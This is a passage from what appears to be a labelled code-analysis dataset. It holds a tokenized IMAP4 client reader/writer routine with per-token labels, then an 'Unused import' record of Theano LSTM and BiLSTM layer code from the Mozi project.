"\"", "Too", " ", "many", " ", "read", " ", "0", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "#", " ", "Tr", "y", " ", "again", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "rx", "zero_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "stop_", "=_", "data_", "._", "find_", "(_", "b", "'\\\\", "n", "'_", ",_", "start_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "stop_", "<_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "line", "\\u", "part_", "+=_", "data_", "[_", "start_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "stop_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "line", "\\u", "part_", ",_", "start_", ",_", "line_", "=_", "b", "''_", ",_", "stop_", ",_", "line", "\\u", "part_", "+_", "data_", "[_", "start_", ":_", "stop_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "\\u\\u", "debug", "\\u\\u_", ":_", "self_", "._", "\\u", "log_", "(_", "4_", ",_", "'<", " ", "%", "r", "'_", "%_", "line_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "in", "q_", "._", "put_", "(_", "line_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "Terminate", "Reader_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "terminate_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "state_", "&_", "~_", "(_", "select_", "._", "POLL", "IN_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "raise_", "IO", "Error_", "(_", "poll", "\\u", "error_", "(_", "state_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "reason_", "=_", "'", "socket", " ", "error", ":", " ", "%", "s", " ", "-", " ", "%", "s", "'_", "%_", "sys_", "._", "exc", "\\u", "info_", "(_", ")_", "[_", ":_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "\\u\\u", "debug", "\\u\\u_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "not_", "self_", "._", "Terminate", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "self_", "._", "\\u", "print", "\\u", "log_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "debug_", ":_", "self_", "._", "debug_", "+=_", "4_", "#", " ", "Output", " ", "all_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "log_", "(_", "1_", ",_", "reason_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "in", "q_", "._", "put_", "(_", "(_", "self_", "._", "abort_", ",_", "reason_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "poll_", "._", "unregister_", "(_", "self_", "._", "read", "\\u", "fd_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "\\u\\u", "debug", "\\u\\u_", ":_", "self_", "._", "\\u", "log_", "(_", "1_", ",_", "'", "finish", "ed", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IMAP", "4_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u", "reader_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "threading_", "._", "current", "Thread_", "(_", ")_", "._", "set", "Name_", "(_", "self_", "._", "identifier_", "+_", "'", "reader", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "\\u\\u", "debug", "\\u\\u_", ":_", "self_", "._", "\\u", "log_", "(_", "1_", ",_", "'", "startin", "g", " ", "usi", "ng", " ", "select", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "line", "\\u", "part_", "=_", "b", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "rx", "zero_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "terminate_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "while_", "not_", "(_", "terminate_", "or_", "self_", "._", "Terminate", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "state_", "==_", "LOGO", "UT_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "timeout_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "timeout_", "=_", "self_", "._", "read", "\\u", "poll", "\\u", "timeout_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "r_", ",_", "w_", ",_", "e_", "=_", "select_", "._", "select_", "(_", "[_", "self_", "._", "read", "\\u", "fd_", "]_", ",_", "[_", "]_", ",_", "[_", "]_", ",_", "timeout_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "\\u\\u", "debug", "\\u\\u_", ":_", "self_", "._", "\\u", "log_", "(_", "5_", ",_", "'", "select", " ", "=>", " ", "%", "s", ",", " ", "%", "s", ",", " ", "%", "s", "'_", "%_", "(_", "r_", ",_", "w_", ",_", "e_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "r_", ":_", "#", " ", "Timeout_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "data_", "=_", "self_", "._", "read_", "(_", "self_", "._", "read", "\\u", "size_", ")_", "#", " ", "Drain", " ", "ssl", " ", "buffer", " ", "if", " ", "present_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "start_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dle", "n_", "=_", "len_", "(_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "\\u\\u", "debug", "\\u\\u_", ":_", "self_", "._", "\\u", "log_", "(_", "5_", ",_", "'", "rcv", "d", " ", "%", "s", "'_", "%_", "dle", "n_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "dle", "n_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "rx", "zero_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "rx", "zero_", ">_", "5_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "raise_", "IO", "Error_", "(_", "\"", "Too", " ", "many", " ", "read", " ", "0", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "#", " ", "Tr", "y", " ", "again", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "rx", "zero_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "stop_", "=_", "data_", "._", "find_", "(_", "b", "'\\\\", "n", "'_", ",_", "start_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "stop_", "<_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "line", "\\u", "part_", "+=_", "data_", "[_", "start_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "stop_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "line", "\\u", "part_", ",_", "start_", ",_", "line_", "=_", "b", "''_", ",_", "stop_", ",_", "(_", "line", "\\u", "part_", "+_", "data_", "[_", "start_", ":_", "stop_", "]_", ")_", "._", "decode_", "(_", "errors_", "=_", "'", "ignore", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "\\u\\u", "debug", "\\u\\u_", ":_", "self_", "._", "\\u", "log_", "(_", "4_", ",_", "'<", " ", "%", "r", "'_", "%_", "line_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "in", "q_", "._", "put_", "(_", "line_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "Terminate", "Reader_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "terminate_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "reason_", "=_", "'", "socket", " ", "error", ":", " ", "%", "s", " ", "-", " ", "%", "s", "'_", "%_", "sys_", "._", "exc", "\\u", "info_", "(_", ")_", "[_", ":_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "\\u\\u", "debug", "\\u\\u_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "not_", "self_", "._", "Terminate", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "self_", "._", "\\u", "print", "\\u", "log_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "debug_", ":_", "self_", "._", "debug_", "+=_", "4_", "#", " ", "Output", " ", "all_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "log_", "(_", "1_", ",_", "reason_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "in", "q_", "._", "put_", "(_", "(_", "self_", "._", "abort_", ",_", "reason_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "debug", "\\u\\u_", ":_", "self_", "._", "\\u", "log_", "(_", "1_", ",_", "'", "finish", "ed", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IMAP", "4_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "writer_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "threading_", "._", "current", "Thread_", "(_", ")_", "._", "set", "Name_", "(_", "self_", "._", "identifier_", "+_", "'", "writer", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "\\u\\u", "debug", "\\u\\u_", ":_", "self_", "._", "\\u", "log_", "(_", "1_", ",_", "'", "startin", "g", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "reason_", "=_", "'", "Terminate", "d", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "while_", "not_", "self_", "._", "Terminate", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rq", "b_", "=_", "self_", "._", "ou", "q_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "rq", "b_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "#", " ", "Out", "q", " ", "flush", "ed_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "send_", "(_", "rq", "b_", "._", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "\\u\\u", "debug", "\\u\\u_", ":_", "self_", "._", "\\u", "log_", "(_", "4_", ",_", "'>", " ", "%", "r", "'_", "%_", "rq", "b_", "._", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "reason_", "=_", "'", "socket", " ", "error", ":", " ", "%", "s", " ", "-", " ", "%", "s", "'_", "%_", "sys_", "._", "exc", "\\u", "info_", "(_", ")_", "[_", ":_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "\\u\\u", "debug", "\\u\\u_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "not_", "self_", "._", "Terminate", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "self_", "._", "\\u", "print", "\\u", "log_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "debug_", ":_", "self_", "._", "debug_", "+=_", "4_", "#", " ", "Output", " ", "all_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "log_", "(_", "1_", ",_", "reason_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "rq", "b_", "._", "abort_", "(_", "self_", "._", "abort_", ",_", "reason_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "in", "q_", "._", "put_", "(_", "(_", "self_", "._", "abort_", ",_", "reason_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "\\u\\u", "debug", "\\u\\u_", ":_", "self_", "._", "\\u", "log_", "(_", "1_", ",_", "'", "finish", "ed", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IMAP", "4_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "print", "\\u", "log_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "debug", "\\u", "lock_", "._", "acquire_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i_", ",_", "n_", "=_", "self_", "._", "\\u", "cmd", "\\u", "log", "\\u", "idx_", ",_", "self_", "._", "\\u", "cmd", "\\u", "log", "\\u", "len_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "n_", ":_", "self_", "._", "\\u", "mesg_", "(_", "'", "last", " ", "%", "d", " ", "log", " ", "message", "s", ":'_", "%_", "n_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "n_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "\\u", "mesg_", "(_", "*_", "self_", "._", "\\u", "cmd", "\\u", "log_", "[_", "i_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "i_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "i_", ">=_", "self_", "._", "\\u", "cmd", "\\u", "log", "\\u", "len_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "i_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_",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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
hycis/Mozi/mozi/layers/recurrent.py
[ { "content": "\nfrom mozi.utils.theano_utils import shared_zeros, alloc_zeros_matrix, shared_ones\nfrom mozi.layers.template import Template\nfrom mozi.weight_init import OrthogonalWeight, GaussianWeight, Identity\nimport theano.tensor as T\nimport theano\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class LSTM(Template):\n\n\n\n\n", "metadata": "root.LSTM", "header": "['module', '___EOS___']", "index": 8 }, { "content": " def __init__(self, input_dim, output_dim, truncate_gradient=-1, return_sequences=True,\n weight_init=OrthogonalWeight(), inner_init=GaussianWeight(mean=0, std=0.1)):\n\n self.input_dim = input_dim\n self.output_dim = output_dim\n self.truncate_gradient = truncate_gradient\n self.return_sequences = return_sequences\n\n self.W_i = weight_init((self.input_dim, self.output_dim))\n self.U_i = inner_init((self.output_dim, self.output_dim))\n self.b_i = shared_zeros((self.output_dim), name='b_i')\n\n self.W_f = weight_init((self.input_dim, self.output_dim))\n self.U_f = inner_init((self.output_dim, self.output_dim))\n self.b_f = shared_ones((self.output_dim), name='b_f')\n\n self.W_c = weight_init((self.input_dim, self.output_dim))\n self.U_c = inner_init((self.output_dim, self.output_dim))\n self.b_c = shared_zeros((self.output_dim), name='b_c')\n\n self.W_o = weight_init((self.input_dim, self.output_dim))\n self.U_o = inner_init((self.output_dim, self.output_dim))\n self.b_o = shared_zeros((self.output_dim), name='b_o')\n\n self.params = [\n self.W_i, self.U_i, self.b_i,\n self.W_c, self.U_c, self.b_c,\n self.W_f, self.U_f, self.b_f,\n self.W_o, self.U_o, self.b_o,\n ]", "metadata": "root.LSTM.__init__", "header": "['class', 'LSTM', '(', 'Template', ')', ':', '___EOS___']", "index": 10 }, { "content": " def _step(self, xi_t, xf_t, xo_t, xc_t,\n h_tm1, c_tm1, u_i, u_f, u_o, u_c):\n i_t = T.nnet.sigmoid(xi_t + T.dot(h_tm1, u_i))\n f_t = T.nnet.sigmoid(xf_t + T.dot(h_tm1, u_f))\n o_t = T.nnet.sigmoid(xo_t + T.dot(h_tm1, u_o))\n g_t = T.tanh(xc_t + T.dot(h_tm1, u_c))\n c_t = f_t * c_tm1 + i_t * g_t\n\n h_t = o_t * T.tanh(c_t)\n return h_t, c_t", "metadata": "root.LSTM._step", "header": "['class', 'LSTM', '(', 'Template', ')', ':', '___EOS___']", "index": 42 }, { "content": " def _train_fprop(self, state_below):\n X = state_below.dimshuffle((1, 0, 2))\n\n xi = T.dot(X, self.W_i) + self.b_i\n xf = T.dot(X, self.W_f) + self.b_f\n xc = T.dot(X, self.W_c) + self.b_c\n xo = T.dot(X, self.W_o) + self.b_o\n\n [outputs, memories], updates = theano.scan(\n self._step,\n sequences=[xi, xf, xo, xc],\n outputs_info=[\n T.unbroadcast(alloc_zeros_matrix(X.shape[1], self.output_dim), 1),\n T.unbroadcast(alloc_zeros_matrix(X.shape[1], self.output_dim), 1)\n ],\n non_sequences=[self.U_i, self.U_f, self.U_o, self.U_c],\n truncate_gradient=self.truncate_gradient)\n\n if self.return_sequences:\n return outputs.dimshuffle((1, 0, 2))\n return outputs[-1]", "metadata": "root.LSTM._train_fprop", "header": "['class', 'LSTM', '(', 'Template', ')', ':', '___EOS___']", "index": 54 }, { "content": "class BiLSTM(Template):\n '''\n Bidirection LSTM\n '''\n\n\n\n\n\n\n\n\n", "metadata": "root.BiLSTM", "header": "['module', '___EOS___']", "index": 77 }, { "content": " def __init__(self, input_dim, output_dim, weight_init=OrthogonalWeight(),\n inner_init=GaussianWeight(mean=0, std=0.1), truncate_gradient=-1,\n output_mode='concat', return_sequences=False, return_idx=-1):\n\n self.input_dim = input_dim\n self.output_dim = output_dim\n self.truncate_gradient = truncate_gradient\n self.output_mode = output_mode # output_mode is either sum or concatenate\n self.return_sequences = return_sequences\n self.return_idx = return_idx\n # forward weights\n self.W_i = weight_init((self.input_dim, self.output_dim))\n self.U_i = inner_init((self.output_dim, self.output_dim))\n self.b_i = shared_zeros((self.output_dim), name='b_i')\n\n self.W_f = weight_init((self.input_dim, self.output_dim))\n self.U_f = inner_init((self.output_dim, self.output_dim))\n self.b_f = shared_ones((self.output_dim), name='b_f')\n\n self.W_c = weight_init((self.input_dim, self.output_dim))\n self.U_c = inner_init((self.output_dim, self.output_dim))\n self.b_c = shared_zeros((self.output_dim), name='b_c')\n\n self.W_o = weight_init((self.input_dim, self.output_dim))\n self.U_o = inner_init((self.output_dim, self.output_dim))\n self.b_o = shared_zeros((self.output_dim), name='b_o')\n\n # backward weights\n self.Wb_i = weight_init((self.input_dim, self.output_dim))\n self.Ub_i = inner_init((self.output_dim, self.output_dim))\n self.bb_i = shared_zeros((self.output_dim), name='bb_i')\n\n self.Wb_f = weight_init((self.input_dim, self.output_dim))\n self.Ub_f = inner_init((self.output_dim, self.output_dim))\n self.bb_f = shared_ones((self.output_dim), name='bb_f')\n\n self.Wb_c = weight_init((self.input_dim, self.output_dim))\n self.Ub_c = inner_init((self.output_dim, self.output_dim))\n self.bb_c = shared_zeros((self.output_dim), name='bb_c')\n\n self.Wb_o = weight_init((self.input_dim, self.output_dim))\n self.Ub_o = inner_init((self.output_dim, self.output_dim))\n self.bb_o = shared_zeros((self.output_dim), name='bb_o')\n\n self.params = [\n self.W_i, self.U_i, self.b_i,\n self.W_c, self.U_c, self.b_c,\n self.W_f, self.U_f, self.b_f,\n self.W_o, self.U_o, self.b_o,\n\n self.Wb_i, self.Ub_i, self.bb_i,\n self.Wb_c, self.Ub_c, self.bb_c,\n self.Wb_f, self.Ub_f, self.bb_f,\n self.Wb_o, self.Ub_o, self.bb_o,\n ]", "metadata": "root.BiLSTM.__init__", "header": "['class', 'BiLSTM', '(', 'Template', ')', ':', '___EOS___']", "index": 82 }, { "content": " def _forward_step(self,\n xi_t, xf_t, xo_t, xc_t,\n h_tm1, c_tm1,\n u_i, u_f, u_o, u_c):\n i_t = T.nnet.sigmoid(xi_t + T.dot(h_tm1, u_i))\n f_t = T.nnet.sigmoid(xf_t + T.dot(h_tm1, u_f))\n o_t = T.nnet.sigmoid(xo_t + T.dot(h_tm1, u_o))\n g_t = T.tanh(xc_t + T.dot(h_tm1, u_c))\n c_t = f_t * c_tm1 + i_t * g_t\n h_t = o_t * T.tanh(c_t)\n return h_t, c_t", "metadata": "root.BiLSTM._forward_step", "header": "['class', 'BiLSTM', '(', 'Template', ')', ':', '___EOS___']", "index": 139 }, { "content": " def get_forward_output(self, state_below):\n X = state_below.dimshuffle((1,0,2))\n\n xi = T.dot(X, self.W_i) + self.b_i\n xf = T.dot(X, self.W_f) + self.b_f\n xc = T.dot(X, self.W_c) + self.b_c\n xo = T.dot(X, self.W_o) + self.b_o\n\n [outputs, memories], updates = theano.scan(\n self._forward_step,\n sequences=[xi, xf, xo, xc],\n outputs_info=[\n T.unbroadcast(alloc_zeros_matrix(X.shape[1], self.output_dim), 1),\n T.unbroadcast(alloc_zeros_matrix(X.shape[1], self.output_dim), 1)\n ],\n non_sequences=[self.U_i, self.U_f, self.U_o, self.U_c],\n truncate_gradient=self.truncate_gradient\n )\n return outputs.dimshuffle((1,0,2))", "metadata": "root.BiLSTM.get_forward_output", "header": "['class', 'BiLSTM', '(', 'Template', ')', ':', '___EOS___']", "index": 152 }, { "content": " def get_backward_output(self, state_below):\n X = state_below.dimshuffle((1,0,2))\n\n xi = T.dot(X, self.Wb_i) + self.bb_i\n xf = T.dot(X, self.Wb_f) + self.bb_f\n xc = T.dot(X, self.Wb_c) + self.bb_c\n xo = T.dot(X, self.Wb_o) + self.bb_o\n\n [outputs, memories], updates = theano.scan(\n self._forward_step,\n sequences=[xi, xf, xo, xc],\n outputs_info=[\n T.unbroadcast(alloc_zeros_matrix(X.shape[1], self.output_dim), 1),\n T.unbroadcast(alloc_zeros_matrix(X.shape[1], self.output_dim), 1)\n ],\n non_sequences=[self.Ub_i, self.Ub_f, self.Ub_o, self.Ub_c],\n go_backwards = True,\n truncate_gradient=self.truncate_gradient\n )\n return outputs.dimshuffle((1,0,2))", "metadata": "root.BiLSTM.get_backward_output", "header": "['class', 'BiLSTM', '(', 'Template', ')', ':', '___EOS___']", 